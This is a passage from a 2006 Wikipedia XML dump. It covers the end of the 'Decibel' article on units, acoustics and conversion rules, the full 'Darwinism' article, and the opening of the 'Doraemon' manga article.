where ''V''&lt;sub&gt;0&lt;/sub&gt; and ''p''&lt;sub&gt;0&lt;/sub&gt; are a specified reference voltage and pressure. Note that in physics, these equations are considered to give ''power'' in decibels, and it is then incorrect to use them if the electrical or acoustic impedance is not the same at the two points where the voltage or pressure are measured. In this formalism, decibels are always a measure of relative power or intensity, and the value is the same regardless whether power or voltage/pressure measurements are used.

If ''V''&lt;sub&gt;dB&lt;/sub&gt; is 20&amp;nbsp;dB greater than ''V''&lt;sub&gt;dB0&lt;/sub&gt; then ''V'' is ten times ''V''&lt;sub&gt;0&lt;/sub&gt;. If ''V''&lt;sub&gt;dB&lt;/sub&gt; is 6&amp;nbsp;dB greater, the voltage ratio is very close to a factor of two.

For [[sound pressure]], ''p''&lt;sub&gt;0&lt;/sub&gt; is typically chosen to be 2x10&lt;sup&gt;−5&lt;/sup&gt;&amp;nbsp;N/m&lt;sup&gt;2&lt;/sup&gt;, or pascals (Pa) which is roughly the [[threshold of hearing]]. When this choice is made, the units are said to be &quot;[[Sound pressure level|dB&amp;nbsp;SPL]]&quot;.

=== Standards ===

The decibel is not an [[SI]] unit, although the [[Bureau International des Poids et Mesures|International Committee for Weights and Measures]] (BIPM) has recommended its inclusion in the SI system.  Following the SI convention, the ''d'' is lowercase, as it is the SI prefix ''deci-'', and the ''B'' is capitalized, as it is an abbreviation of a name-derived unit, the ''bel'', named for [[Alexander Graham Bell]].  Written out it becomes ''decibel''.  This is standard [[English language|English]] capitalization.

=== Merits ===

The use of decibels has three different merits:
* It is more convenient to add the decibel values of, for instance, two consecutive  [[amplifier]]s rather than to multiply their amplification factors.
* A very large range of ratios can be expressed with decibel values in a range of moderate size, allowing one to clearly visualize huge changes of some quantity.
* In acoustics, the decibel as a [[logarithmic scale|logarithmic measure]] of ratios fits well to the logarithmic dependence of perceived [[loudness]] on sound intensity. In other words, at all levels of loudness, increasing the decibel level by the same amount creates approximately the same increase in perceived loudness — humans perceive the increase from 20 dB to 25 dB as being about the same as the increase from 90 dB to 95 dB, for example. This is known as [[Stevens' power law]].

== History of bels and decibels ==

A '''bel''' (symbol '''B''') is a [[unit]] of measure of [[ratio]]s, such as [[power (physics)|power]] levels and [[voltage]] levels. It is mostly used in [[telecommunication]], [[electronics]], and [[acoustics]]. Invented by engineers of the [[Bell Labs|Bell Telephone Laboratory]] to quantify the reduction in audio level over a 1 mile length of standard telephone cable, it was originally called the ''transmission unit'' or ''TU'', but was renamed in [[1923]] or [[1924]] in honor of the [[laboratory]]'s founder and telecommunications pioneer [[Alexander Graham Bell]].

The bel was too large for everyday use, so the '''decibel (dB)''', equal to 0.1 '''bel (B)''', became more commonly used.  The bel is still used to represent noise power levels in [[hard drive]] specifications.

The [[neper]] is a similar unit which uses the [[natural logarithm]]. The [[Richter scale]] uses numbers expressed in bels as well, though this is implied by definition rather than explicitly stated. In spectrometry and optics, the absorbance unit used to measure [[optical density]] is equivalent to −1&amp;nbsp;B. In astronomy, the [[apparent magnitude]] measures the brightness of stars logarithmically, since just as the ear responds logarithmically to acoustic power, the eye responds logarithmically to brightness.

== Uses ==

=== Acoustics ===

The '''decibel''' unit is often used in acoustics to quantify [[sound]] levels relative to some 0 dB reference. The reference may be defined as a [[sound pressure level]] (SPL), commonly 20 micropascals (20 [[pascal (unit)|μPa]]). To avoid confusion with other decibel measures, the term dB(SPL) is used for this. The reference sound pressure (corresponding to a sound pressure level of 0 dB) can also be defined as the sound pressure at the threshold of [[human]] [[Hearing (sense)|hearing]], which is conventionally taken to be 2×10&lt;sup&gt;−5&lt;/sup&gt; newtons per [[square metre]], or 20 micropascals. That is roughly the sound of a [[mosquito]] flying 3 m away.

The reason for using the decibel is that the [[ear]] is capable of detecting a very large range of [[sound pressure]]s. The ratio of the sound ''pressure'' that causes permanent damage from short exposure to the limit that (undamaged) ears can hear is above a [[million]]. Because the ''power'' in a sound wave is proportional to the square of the pressure, the ratio of the maximum power to the minimum power is above one ([[long and short scales|short scale]]) [[trillion]]. To deal with such a range, logarithmic units are useful: the log of a trillion is 12, so this ratio represents a difference of 120 dB.  

[[Psychologist]]s have found that our perception of [[loudness]] is roughly logarithmic — see the [[Weber-Fechner law]]. In other words, you have to multiply the sound pressure by the same factor to have the same increase in loudness.  This is why the numbers around the volume control dial on a typical [[Electronic amplifier|audio amplifier]] are related not to the voltage amplification, but to its logarithm.

Various [[frequency]] weightings are used to allow the result of an acoustical measurement to be expressed as a single sound level. The weightings approximate the changes in sensitivity of the ear to different frequencies at different levels. The two most commonly used weightings are the A and C weightings; other examples are the B and Z weightings.

Sound levels above 85 dB are considered harmful, while 120 dB is unsafe and 150 dB causes physical damage to the human [[body]]. [[Window]]s break at about 163 dB. [[Jet airplane]]s cause A-weighted levels of about 133 dB at 33 m, or 100 dB at 170 m. [[Eardrum]]s rupture at 190 dB to 198 dB. [[Shock wave]]s and [[sonic boom]]s cause levels of about 200 dB at 330 m. Sound levels of around 200 dB can cause [[death]] to humans and are generated near [[bomb]] [[explosion]]s (e.g., 23 kg of [[Trinitrotoluene|TNT]] detonated 3 m away). The [[space shuttle]] generates levels of around 215 dB (or an A-weighted level of about 175 dB at a distance of 17 m). Even louder are [[nuclear bomb]]s, [[earthquake]]s, [[tornado]]es, [[hurricane]]s and [[volcano]]es, all capable of exceeding 240 dB. A more extensive list can be found at [http://www.makeitlouder.com/Decibel%20Level%20Chart.txt makeitlouder.com].

Some other values:

{| class=&quot;wikitable&quot;
!dB(SPL)!!Source (with distance)
|-
|250    ||Inside of [[tornado]]; conventional or nuclear bomb explosion at 5 m.
|-
|180    ||[[Rocket]] engine at 30 m; [[blue whale]] humming at 1 m;&lt;br&gt; [[Krakatoa]] explosion at 100 miles (160 km)[http://www.makeitlouder.com/Decibel%20Level%20Chart.txt]
|-
|150    ||[[Jet]] [[engine]] at 30 m
|-
|140    ||[[Rifle]] being fired at 1 m
|-
|130    ||[[Threshold of pain]]; [[train]] horn at 10 m
|-
|120    ||[[Rock and roll|Rock]] [[concert]]; jet aircraft taking off at 100 m
|-
|110    ||Accelerating [[motorcycle]] at 5 m; chainsaw at 1 m
|-
|100    ||[[Jackhammer]] at 2 m; inside [[disco]]
|-
|90     ||Loud [[factory]], heavy [[truck]] at 1 m
|-
|80     ||[[Vacuum cleaner]] at 1 m, curbside of busy street
|-
|70     ||Busy [[traffic]] at 5 m
|-
|60     ||[[Office]] or restaurant inside
|-
|50     ||Quiet [[restaurant]] inside
|-
|40     ||Residential area at [[night]]
|-
|30     ||Theatre, no talking
|-
|10     ||Human breathing at 3 m
|-
|0      ||[[Threshold of human hearing]] (with healthy ears)
|}

Note that the SPL emitted by an object changes with distance from the object.  Commonly-quoted measurements of objects like [[jet engine]]s or [[jackhammer]]s are meaningless without distance information.  The measurement is not of the object's noise, but of the noise at a point in space near that object.  For instance, it is intuitively obvious that the noise level of a [[volcanic eruption]] will be much higher standing inside the crater than it would be measured from 5 kilometers away.

Measurements of ambient noise do not need a distance, since the noise level will be relatively constant at any point in the area (and are usually only rough approximations anyway).

Measurements that refer to the &quot;threshold of pain&quot; or the threshold at which ear damage occurs are measuring the SPL at a point near the ear itself.  

Under controlled conditions, in an acoustical laboratory, the trained healthy human ear is able to discern changes in sound levels of 1 dB, when exposed to steady, single frequency (&quot;pure tone&quot;) signals in the mid-frequency range. It is widely accepted that the average [[health]]y ear, however, can barely perceive noise level changes of 3 dB.

On this scale, the normal range of human hearing extends from about 0 dB to about 140 dB. 0 dB is the [[threshold]] of hearing in healthy, undamaged human ears at 1 kHz; 0 dB is not an absence of sound, and it is possible for people with exceptionally good hearing to hear sounds at −10 dB.  A 3 dB increase in the level of continuous noise doubles the sound power, however experimentation has determined that the frequency response of the human ear results in a perceived doubling of loudness with every 10 dB increase; a 5 dB increase is a readily noticeable change, while a 3 dB increase is barely noticeable to most people.

Sound pressure levels are applicable to the specific position at which they are measured. The levels change with the distance from the source of the sound; in general, the level decreases as the distance from the source increases. If the distance from the source is unknown, it is difficult to estimate the sound pressure level at the source.

==== Frequency weighting ====
{{main|Frequency weighting}}

Since the human ear is not equally sensitive to all the frequencies of sound within the entire spectrum, noise levels at maximum human sensitivity — middle A and its higher [[harmonic]]s (between 2,000 and 4,000 [[hertz]]) — are factored more heavily into sound descriptions using a process called frequency weighting.

The most widely used frequency weighting is the &quot;[[A-weighting]]&quot;, which roughly corresponds to the inverse of the 40 dB (at 1 kHz) equal-loudness curve. Using this filter, the sound level [[Measuring instrument|meter]] is less sensitive to very high and very low frequencies. The A weighting parallels the sensitivity of the human ear when it is exposed to normal levels, and frequency weighting C is suitable for use when the ear is exposed to higher sound levels. Other defined frequency weightings, such as B and Z, are rarely used.

Frequency weighted sound levels are still expressed in decibels (with unit symbol dB), although it is common to see the incorrect unit symbols dBA or dB(A) used for A-weighted sound levels.

=== Electronics ===

The decibel is used rather than [[Arithmetic|arithmetic]] ratios or [[percent]]ages because when certain types of [[Electrical network|circuits]], such as amplifiers and [[attenuator]]s, are connected in series, expressions of power level in decibels may be arithmetically added and subtracted.  It is also common in disciplines such as audio, in which the properties of the signal are best expressed in logarithms due to the response of the ear.

In [[radio]] electronics, the decibel is used to describe the ratio between two measurements of [[electrical power]].  It can also be combined with a suffix to create an absolute unit of electrical power.  For example, it can be combined with &quot;m&quot; for &quot;milliwatt&quot; to produce the &quot;dBm&quot;.  Zero dBm is one milliwatt, and 1&amp;nbsp;dBm is one decibel greater than 0&amp;nbsp;dBm, or about 1.259&amp;nbsp;mW.

Although decibels were originally used for power ratios, they are commonly used in electronics to describe voltage or current ratios. In a constant resistive load, power is proportional to the square of the voltage or current in the circuit. Therefore, the decibel ratio of two voltages ''V''&lt;sub&gt;1&lt;/sub&gt; and ''V''&lt;sub&gt;2&lt;/sub&gt; is defined as 20&amp;nbsp;log&lt;sub&gt;10&lt;/sub&gt;(''V''&lt;sub&gt;1&lt;/sub&gt;/''V''&lt;sub&gt;2&lt;/sub&gt;), and similarly for current ratios. Thus, for example, a factor of 2.0 in voltage is equivalent to 6.02&amp;nbsp;dB (not 3.01&amp;nbsp;dB!). Similarly, a ratio of 10 times gives 20&amp;nbsp;dB, and one tenth gives −20&amp;nbsp;dB.

This practice is fully consistent with power-based decibels, provided the circuit [[Electrical resistance|resistance]] remains constant. However, voltage-based decibels are frequently used to express such quantities as the voltage gain of an amplifier, where the two voltages are measured in different circuits which may have very different resistances. For example, a unity-gain [[buffer amplifier]] with a high [[input resistance]] and a low [[output resistance]] may be said to have a &quot;voltage gain of 0 dB&quot;, even though it is actually providing a considerable power gain when driving a low-resistance load.

In professional audio, a popular unit is the dBu (see below for all the units).  The &quot;u&quot; stands for &quot;unloaded&quot;, and was probably chosen to be similar to lowercase &quot;v&quot;, as dBv was the older name for the same thing.  It was changed to avoid confusion with dBV. This unit (dBu) is an [[root mean square|RMS]] measurement of voltage which uses as its reference 0.775&amp;nbsp;V&lt;sub&gt;RMS&lt;/sub&gt;.  Chosen for historical reasons, it is the voltage level at which you get 1&amp;nbsp;mW of power in a 600&amp;nbsp;ohm resistor, which used to be the standard impedance in almost all professional audio circuits. &lt;!--what's a &quot;professional audio circuit&quot;?--&gt;  &lt;!-- a circuit that uses 600 ohms for everything. :-)  they mean stuff for professional audio like recording and live sound.  microphones, mixers, etc.  i think. --&gt;

Since there may be many different bases for a measurement expressed in decibels, a dB value is meaningless unless the reference value (equivalent to 0&amp;nbsp;dB) is clearly stated.  For example, the [[gain]] of an [[antenna (radio)|antenna]] system can only be given with respect to a reference antenna (generally a perfect [[Isotropic radiator|isotropic antenna]]); if the reference is not stated, the dB gain value is not usable.

=== Optics ===

In an [[optical link]], if a known amount of [[Optics|optical]] power, in [[dBm]] (referenced to 1 mW), is launched into a [[Optical fiber|fibre]], and the losses, in dB (decibels), of each [[component]] (e.g., connectors, splices, and lengths of fibre) are known, the overall link [[loss]] may be quickly calculated by simple addition and subtraction of decibel quantities.

=== Telecommunications ===

In telecommunications, decibels are commonly used to measure [[signal-to-noise ratio]]s and other ratio measurements.

Decibels are used to account for the gains and losses of a signal from a transmitter to a receiver through some medium (free space, wave guides, coax, fiber optics, etc.) using a [[Link Budget]].

=== Seismology ===

Earthquakes were formerly measured on the [[Richter magnitude scale|Richter scale]], which is expressed in bels.  (The units in this case are always assumed, rather than explicit.) The more modern [[moment magnitude scale]] is designed to produce values comparable to those of the Richter scale.&lt;!--but perhaps is unitless, since it is not based on a base 10 log of an amplitude--&gt;

== Typical abbreviations ==

=== Absolute measurements ===

==== Electric power ====

; [[dBm]] ''or'' dBmW : dB(1 mW) — power measurement relative to 1 milliwatt.
; [[dBW]] : dB(1 W) — same as dBm, with reference level of 1 [[watt]].

==== Electric voltage ====

; dBu ''or'' dBv : dB(0.775 V) — (usually [[root mean square|RMS]]) [[volt]]age [[amplitude]] referenced to 0.775 volt. Although dBu can be used with any impedance, dBu = dBm when the load is 600Ω.  dBu is preferable, since dBv is easily confused with dBV.  The &quot;u&quot; comes from &quot;unloaded&quot;.
; dBV : dB(1 V) — (usually RMS) voltage amplitude of a signal in a [[wire]], relative to 1 volt, not related to any impedance.

==== Acoustics ====

; dB(SPL) : dB(Sound Pressure Level) — relative to 20 micropascals (&amp;mu;Pa) = 2×10&lt;sup&gt;−5&lt;/sup&gt; Pa, the quietest sound a human can hear.  This is roughly the sound of a mosquito flying 3 metres away.  This is often abbreviated to just &quot;dB&quot;, which gives some the erroneous notion that a dB is an absolute unit by itself.

==== Radio power ====

; dBm : dB(mW) — power relative to 1 [[milliwatt]].
; dB&amp;mu; ''or'' dBu : dB(&amp;mu;V/m) — [[electric field strength]] relative to 1 [[microvolt]] per [[metre]].
; dBf : dB(fW) — power relative to 1 [[femtowatt]].
; dBW : dB(W) — power relative to 1 [[watt]].
; dBk : dB(kW) — power relative to 1 [[kilowatt]].

==== Note regarding absolute measurements ====

The term &quot;measurement relative to&quot; means so many dB greater, or smaller, than the quantity specified.

Examples:
*&amp;nbsp;3&amp;nbsp;dBm means 3&amp;nbsp;dB greater than 1&amp;nbsp;mW.
*−6&amp;nbsp;dBm means 6&amp;nbsp;dB less than 1&amp;nbsp;mW.
*&amp;nbsp;0&amp;nbsp;dBm means no change from 1&amp;nbsp;mW, in other words 0&amp;nbsp;dBm ''is'' 1&amp;nbsp;mW.

=== Relative measurements ===

; [[dB(A)|dB(A), dB(B), and dB(C)]] weighting : These symbols are often used to denote the use of different [[frequency weighting]]s, used to approximate the human ear's [[response]] to sound, although the measurement is still in dB (SPL). Other variations that may be seen are dB&lt;sub&gt;A&lt;/sub&gt; or dBA. According to ANSI standards, the preferred usage is to write L&lt;sub&gt;A&lt;/sub&gt; = x dB, as dBA implies a reference to an &quot;A&quot; unit, not an A-weighting.  They are still used commonly as a shorthand for A-weighted measurements, however.
; dBd : dB(dipole) — the forward gain of an [[antenna (electronics)|antenna]] compared to a half-wave [[dipole]] antenna.
; dBi : dB(isotropic) — the forward gain of an antenna compared to an idealized [[isotropic]] antenna.
; [[dBFS]] ''or'' dBfs : dB([[full scale]]) — the [[amplitude]] of a signal (usually audio) compared to the maximum which a device can handle before [[clipping]] occurs.  In digital systems, 0 dBFS would equal the highest level (number) the processor is capable of representing.  (Measured values are negative, since they are less than the maximum.)
; dBr : dB(relative) — simply a relative difference to something else, which is made apparent in context.  The difference of a filter's response to nominal levels, for instance.
; [[dBrn]] : dB above [[reference noise]].
; dBC : dB relative to carrier — in [[fiber optics|fiberoptic]] [[telecommunication]]s, this indicates the relative levels of noise or sideband peak power, compared to the optical carrier power.

== Reckoning ==

Decibels are handy for mental calculation, because adding them is easier than multiplying ratios.
First, however, one has to be able to convert easily between ratios and decibels.
The most obvious way is to memorize the logs of small primes, but there are a few other tricks that can help.

=== Round numbers ===

The values of coins and banknotes are round numbers. The rules are:
#One is a round number
#Twice a round number is a round number: 2, 4, 8, 16, 32, 64
#Ten times a round number is a round number: 10, 100
#Half a round number is a round number: 50, 25, 12.5, 6.25
#The tenth of a round number is a round number: 5, 2.5, 1.25, 1.6, 3.2, 6.4

Now 6.25 and 6.4 are approximately equal to 6.3, so we don't care. Thus the round numbers between 1 and 10 are these:
 Ratio  1    1.25 1.6  2    2.5  3.2  4    5    6.3  8   10
 dB     0    1    2    3    4    5    6    7    8    9   10

This useful approximate table of logarithms is easily reconstructed or memorized.

=== The 4 &amp;rarr; 6 energy rule ===

To one decimal place of precision, 4.x is 6.x in dB (energy).

Examples:
* 4.0 &amp;rarr; 6.0 dB
* 4.3 &amp;rarr; 6.3 dB
* 4.7 &amp;rarr; 6.7 dB

=== The &quot;789&quot; rule ===

To one decimal place of precision, x &amp;rarr; (&amp;frac12; x + 5.0 dB) for 7.0 &amp;le; x &amp;le; 10.

Examples:
* 7.0 &amp;rarr; &amp;frac12; 7.0 + 5.0 dB = 3.5 + 5.0 dB = 8.5 dB
* 7.5 &amp;rarr; &amp;frac12; 7.5 + 5.0 dB = 3.75 + 5.0 dB = 8.75 dB
* 8.2 &amp;rarr; &amp;frac12; 8.2 + 5.0 dB = 4.1 + 5.0 dB = 9.1 dB
* 9.9 &amp;rarr; &amp;frac12; 9.9 + 5.0 dB = 4.95 + 5.0 dB = 9.95 dB
* 10.0 &amp;rarr; &amp;frac12; 10.0 + 5.0 dB = 5.0 + 5.0 dB = 10 dB

=== −3 dB &amp;asymp; ½ power ===

A level difference of ±3 dB is roughly double/half power (equal to a ratio of 1.995). That is why it is commonly used as a marking on sound equipment and the like.

Another common sequence is 1, 2, 5, 10, 20, 50 ... . These [[preferred number]]s are very close to being equally spaced in terms of their logarithms. The actual values would be 1, 2.15, 4.64, 10 ... .

The conversion for decibels is often simplified to: &quot;+3 dB means two times the power and 1.414 times the voltage&quot;, and &quot;+6 dB means four times the power and two times the voltage &quot;.

While this is accurate for many situations, it is not exact.  As stated above, decibels are defined so that +10 dB means &quot;ten times the power&quot;. From this, we calculate that +3 dB actually multiplies the power by 10&lt;sup&gt;3/10&lt;/sup&gt;. This is a power ratio of 1.9953 or about 0.25% different from the &quot;times 2&quot; power ratio that is sometimes assumed. A level difference of +6 dB is 3.9811, about 0.5% different from 4.

To contrive a more serious example, consider converting a large decibel figure into its linear ratio, for example 120 dB. The power ratio is correctly calculated as a ratio of 10&lt;sup&gt;12&lt;/sup&gt; or one trillion. But if we use the assumption that 3 dB means &quot;times 2&quot;, we would calculate a power ratio of 2&lt;sup&gt;120/3&lt;/sup&gt; = 2&lt;sup&gt;40&lt;/sup&gt; = 1.0995 × 10&lt;sup&gt;12&lt;/sup&gt;, giving a 10% error.

=== 6 dB per bit ===

In [[digital audio]], each [[bit]] offered by the system doubles the (voltage) resolution, corresponding to a 6 dB ratio. For instance, a 16-bit (linear) audio format offers an approximate theoretical maximum of (16 × 6) = 96 dB, meaning that the maximum signal (see ''0 dBFS'', above) is 96 dB above the [[quantization noise]].

=== dB cheat sheet ===

As is clear from the above description, the dB level is a [[logarithmic]] way of expressing power ratios.  The following tables are cheat-sheets that provide values for various dB levels.

===== Commonly used dB values =====
{| class=&quot;wikitable&quot;
!dB level!!Ratio
|-
| −30 dB    ||1/1000
|-
| −20 dB    ||1/100
|-
| −10 dB    ||1/10
|-
| −3 dB    ||0.5 (approx.)
|-
|3 dB     ||2 (approx.)
|-
|10 dB    ||10
|-
|20 dB    ||100
|-
|30 dB   ||1000
|-
|}

===== Other dB values =====
{| class=&quot;wikitable&quot;
!dB level!!Ratio
|-
| −9 dB    ||1/8 (approx.)
|-
| −6 dB    ||1/4 (approx.)
|-
| −1 dB    ||0.8 (approx.)
|-
|1 dB     ||1.25 (approx.)
|-
|6 dB     ||4 (approx.)
|-
|9 dB     ||8 (approx.)
|-
|}

== See also ==

*[[Equal-loudness contour]]
*[[ITU-R 468 noise weighting]]
*[[Noise (environmental)]]
*[[Signal noise]]
*[[Sound pressure level]]
*[[Weighting filter]]&amp;mdash;discussion of '''dBA'''
*[[Decibel magazine]]

== External links ==

*[http://www.phys.unsw.edu.au/~jw/dB.html What is a decibel?]
*[http://www.lindos.co.uk/cgi-bin/FlexiData.cgi?SOURCE=Articles Lindos Electronics Audio Articles]
*[http://www.sizes.com/units/decibel.htm Description of some abbreviations]
*[http://www.uoguelph.ca/HR/ehs/policies/10-01.pdf Noise Control and Hearing Conservation]
*[http://www.osha.gov/dts/osta/otm/otm_iii/otm_iii_5.html Noise Measurement OSHA 1]
*[http://www.environmental-center.com/articles/article138/article138.htm Noise Measurement OSHA 2]
*[http://www.jimprice.com/prosound/db.htm Understanding dB]
*[http://www.rane.com/par-d.html#decibel Rane Professional Audio Reference entry for &quot;decibel&quot;]
*[http://hyperphysics.phy-astr.gsu.edu/hbase/sound/db.html#c1 Hyperphysics description of decibels]
*[http://decibelmagazine.com Decibel Magazine]

=== Converters ===

*[http://www.analog.com/Analog_Root/static/techSupport/designTools/interactiveTools/dbconvert/dbconvert.html V&lt;sub&gt;peak&lt;/sub&gt;, V&lt;sub&gt;RMS&lt;/sub&gt;, Power, dBm, dBu, dBV converter]
*[http://www.sengpielaudio.com/calculator-db-volt.htm Conversion: dBu to volts, dBV to volts, and volts to dBu, and dBV]
*[http://www.sengpielaudio.com/calculator-soundlevel.htm Conversion of sound level units:  dBSPL or dBA  to sound pressure p and sound intensity J]
*[http://www.sengpielaudio.com/calculator-volt.htm Conversion: Voltage V to dB, dBu, dBV, and dBm]
*[http://www.moonblinkwifi.com/dbm_to_watt_conversion.cfm Only Power: dBm to mW conversion]

== Reference ==

*Martin, W. H., &quot;DeciBel &amp;#8211; The New Name for the Transmission Unit&quot;, ''Bell System Technical Journal'', January 1929.

[[Category:Units of measure]]
[[Category:Sound]]
[[Category:Acoustics]]

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    </revision>
  </page>
  <page>
    <title>Darwinism</title>
    <id>8411</id>
    <revision>
      <id>40486380</id>
      <timestamp>2006-02-20T22:45:29Z</timestamp>
      <contributor>
        <username>Alienus</username>
        <id>195268</id>
      </contributor>
      <minor />
      <comment>not mutually exclusive, but a subset</comment>
      <text xml:space="preserve">:''This article is about Darwinism as a philosophical concept; see [[evolution]] for the page on biological evolution; [[modern evolutionary synthesis]] for neo-Darwinism; and also [[evolution (disambiguation)]]''.
[[Image:Charles Darwin.jpg|frame|right|[[Charles Darwin]]]]
'''Darwinism''' is a term for the underlying theory in the ideas of [[Charles Darwin]], particularly concerning [[evolution]] and [[natural selection]]. Discussions of ''Darwinism'' usually focus on ''evolution by natural selection''.

__TOC__
== Darwinism and other -isms ==
In the [[United States]], the term &quot;Darwinism&quot; is sometimes used by [[creationism|creationists]] as a somewhat derogatory term for &quot;evolutionary biology&quot;. Casting evolution as an &quot;ism&quot; &amp;mdash; a doctrine or belief &amp;mdash; is used to strengthen calls for &quot;[[equal time]]&quot; for other beliefs such as creationism. However, in other countries &amp;mdash; such as the [[United Kingdom]] &amp;mdash; &quot;Darwinism&quot; carries no such derogatory connotations and is freely used by evolutionary scientists. A notable example of a scientist who uses the term in a positive sense is [[Richard Dawkins]].

''Darwinism'' may also refer to a specific strand within evolutionary biology, dealing with the mechanism of [[natural selection]], which Darwin studied, as opposed to evolutionary processes that were unknown in Darwin's day, such as [[genetic drift]] and [[gene flow]]. It may also refer specifically to the role of [[Charles Darwin]] as opposed to others in the [[history of evolutionary thought]] &amp;mdash; particularly contrasting Darwin's results with those of earlier theories such as [[Lamarckism]] or later ones such as the [[modern synthesis]].

== Classical Darwinism ==

In the 19th-century context in which Darwin's ''[[Origin of Species]]'' was first received, &quot;Darwinism&quot; came to stand for an entire range of evolutionary (and often revolutionary) philosophies about both biology and society. One of the more prominent approaches was that summed in the phrase &quot;[[survival of the fittest]]&quot; by the philosopher [[Herbert Spencer]], which was later taken to be emblematic of Darwinism even though Spencer's own understanding of evolution was more Lamarckian than Darwinian, and predated the [[publication of Darwin's theory]]. What we now call &quot;[[Social Darwinism]]&quot; was, in its day, synonymous with &quot;Darwinism&quot; &amp;mdash; the application of Darwinian principles of &quot;struggle&quot; to society, usually in support of anti-[[philanthropy|philanthropic]] political agendas. Another interpretation, one notably favored by Darwin's cousin [[Francis Galton]], was that Darwinism implied that because natural selection was apparently no longer working on &quot;civilized&quot; people it was possible for &quot;inferior&quot; strains of people (who would normally be filtered out of the gene pool) to overwhelm the &quot;superior&quot; strains, and corrective measures would have to be undertaken &amp;mdash; the foundation of [[eugenics]]. 

In Darwin's day there was no rigid definition of the term &quot;Darwinism&quot;, and it was used by opponents and proponents of Darwin's biological theory alike to mean whatever they wanted it to in a larger context. The ideas had international influence, and [[Ernst Haeckel]] developed what was known as ''Darwinismus'' in [[Germany]]; though it should be noted that, like Spencer, Haeckel's &quot;Darwinism&quot; had only a rough resemblance to the theory of Charles Darwin, and was not centered around natural selection at all.

==Darwinism as selectionism==

To distinguish themselves from the very loose meaning of &quot;Darwinism&quot; prevalent in the 19th century, those who advocated evolution by natural selection after the death of Darwin became known as neo-Darwinists. [[August Weismann]] was the most prominent member of this school, and further articulated that neo-Darwinism referred to evolution specifically by forms of &quot;selection&quot; (natural selection, including sexual selection), and that it was articulated around the idea that the hereditary material of an organism was not modified by the further development of the organism. Neo-Darwinism poised itself against neo-Lamarckism, also popular at the end of the 19th century and beginning of the 20th century, which argued that bodily modifications acquired during the lifetime of the organism could be hereditarily passed on to the next generation. Weismann's neo-Darwinism, on the other hand, argued that all of an organism's hereditary material was kept in its [[germ plasm]], which existed separately from the rest of the organism's development. 

Neo-Darwinism was not terribly popular in the scientific community, as most biologists felt that the complete segregation of development and heredity actions seems unlikely or unwarranted. After the development of the [[modern evolutionary synthesis]] in the 1930s, however, the selection theory became increasingly popular amongst biologists, and codified the more modern definition of Darwinism which we have today.

== Darwinian processes ==
In a modern definition of the term, a Darwinian process requires the following schema:

# '''[[Self-replication]]'''/[[Inheritance]]: Some number of entities must be capable of producing copies of themselves, and those copies must also be capable of reproduction. The new copies must inherit the traits of old ones. Sometimes the different variations are recombined in [[sexual reproduction]].
# '''[[Genetic variation|Variation]]''': There must be a range of different traits in the population of entities, and there must be a mechanism for introducing new variations into the population.
# '''[[Selection]]''': Inherited traits must somehow affect the ability of the entities to reproduce themselves, either by survival, or natural selection, or by ability to produce offspring by finding partners, or sexual selection.

If the entity or organism survives to reproduce, the process restarts. Sometimes, in stricter formulations, it is required that variation and selection act on different entities, variation on the [[replicator]] ([[genotype]]) and selection on the [[interactor]] ([[phenotype]]). 

Darwinism asserts that any system given these conditions, by whatever means, evolution is likely to occur. That is, over time, the entities will accumulate complex traits that favor their reproduction.  This is called Universal Darwinism, a term coined by Richard Dawkins in his 1972 book Selfish Gene.

Most obviously, this can refer to biological [[evolution]].  However, it has other potential spheres, the best known of which is the [[meme]], a concept of inheritance and modification of ideas introduced by [[Richard Dawkins]] in his [[1976]] book ''[[The Selfish Gene]]'' and further refined by researchers such as [[Richard Brodie]] and [[Susan Blackmore]]. It has been disputed if this was a Darwinian process, since it is unproven that memes undergo random mutations.

Perhaps surprisingly Darwinian theories have been proposed as explanations of the origin of the universe we live in. [[Lee Smolin]]'s theory [[Cosmological natural selection]] explains the selection of a universe with the correct fundamental physical parameters to support complex matter such as stars and ourselves. [[Wojciech Zurek]]'s theory of [[Quantum darwinism]] explains the selection of the our classical macroscopic world from underlying quantum processes.
  
Another example to illustrate are computer systems ([[Personal computer|PCs]]). Taking the software as the replicator and the whole system as the interactor, it could be seen as a Darwinian system, however, the code does not change randomly, but is directionally changed or rewritten from scratch; also systems do not reproduce.

[[Daniel Dennett]] (1995) in ''[[Darwin's Dangerous Idea]]'' argues for Universal Darwinism.


==See also==
*[[Neural Darwinism]]

== External links ==
*[http://www.universaldarwinism.com Universal Darwinism]
*[http://charles-darwin.classic-literature.co.uk/ Charles Darwin Books]
*[http://plato.stanford.edu/entries/darwinism/ Stanford Encyclopedia of Philosophy entry]
*[http://www.talkorigins.org/faqs/darwinism.html What is Darwinism]

[[Category:Evolution]]

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    </revision>
  </page>
  <page>
    <title>Doraemon</title>
    <id>8412</id>
    <revision>
      <id>42111086</id>
      <timestamp>2006-03-03T22:14:58Z</timestamp>
      <contributor>
        <username>Gryffindor</username>
        <id>206678</id>
      </contributor>
      <comment>small corrections</comment>
      <text xml:space="preserve">{{Infobox animanga/Header|
 title_name=Doraemon
 |image=Doraemon_hat.jpg
 |size=212px
 |caption=Dorameon with his classic smile
 |ja_name=ドラえもん|
 |ja_name_trans=Doraemon
 |genre=Comedy
}}
{{Infobox animanga/Anime|
 title=
 |director=Tsutomu Shibayama 
 |studio=Asatsu DK
 |network=[[TV Asahi]]
 |first_aired=[[2 April]] [[1979]]
 |last_aired=
 |num_episodes=Over 2000
}}
{{Infobox animanga/Footer}}

{{nihongo|'''Doraemon|ドラえもん|}} by Hiroshi Fujimoto, pen name [[Fujiko Fujio|Fujiko F. Fujio]], is a [[Japan]]ese [[manga]] about a [[robot]]ic [[cat]], Doraemon, who has [[time travel|travelled back in time]] from the future to aid a schoolboy, Nobita Nobi.

The stories first appeared in January 1970. They were simultaneously published in six different magazines. In total, 1,344 of the original stories were created. They are published by Shogakukan under the {{nihongo|Tentōmushi|てんとう虫|}} (ladybug) comics brand, extending to forty-five volumes. They are collected in the Takaoka Central Library, Toyama, Japan, where Fujimoto was born.

Doraemon was awarded the grand prize of the [[Osamu Tezuka|Tezuka Osamu]] Cultural Prize (手塚治虫文化賞) of [[1997]].

==Setting==
[[Image:Doraemon_first_appearance.jpg|thumb|right|300px|The first appearance of Doraemon, via the time machine.]]

Doraemon was originally sent back in time by Nobita's great-great grandson, ''Sewashi'', in order that his descendants reap the benefits of Nobita's success one day rather than be burdened by the considerable financial debts which his incompetence has led them to suffer in the original timeline.

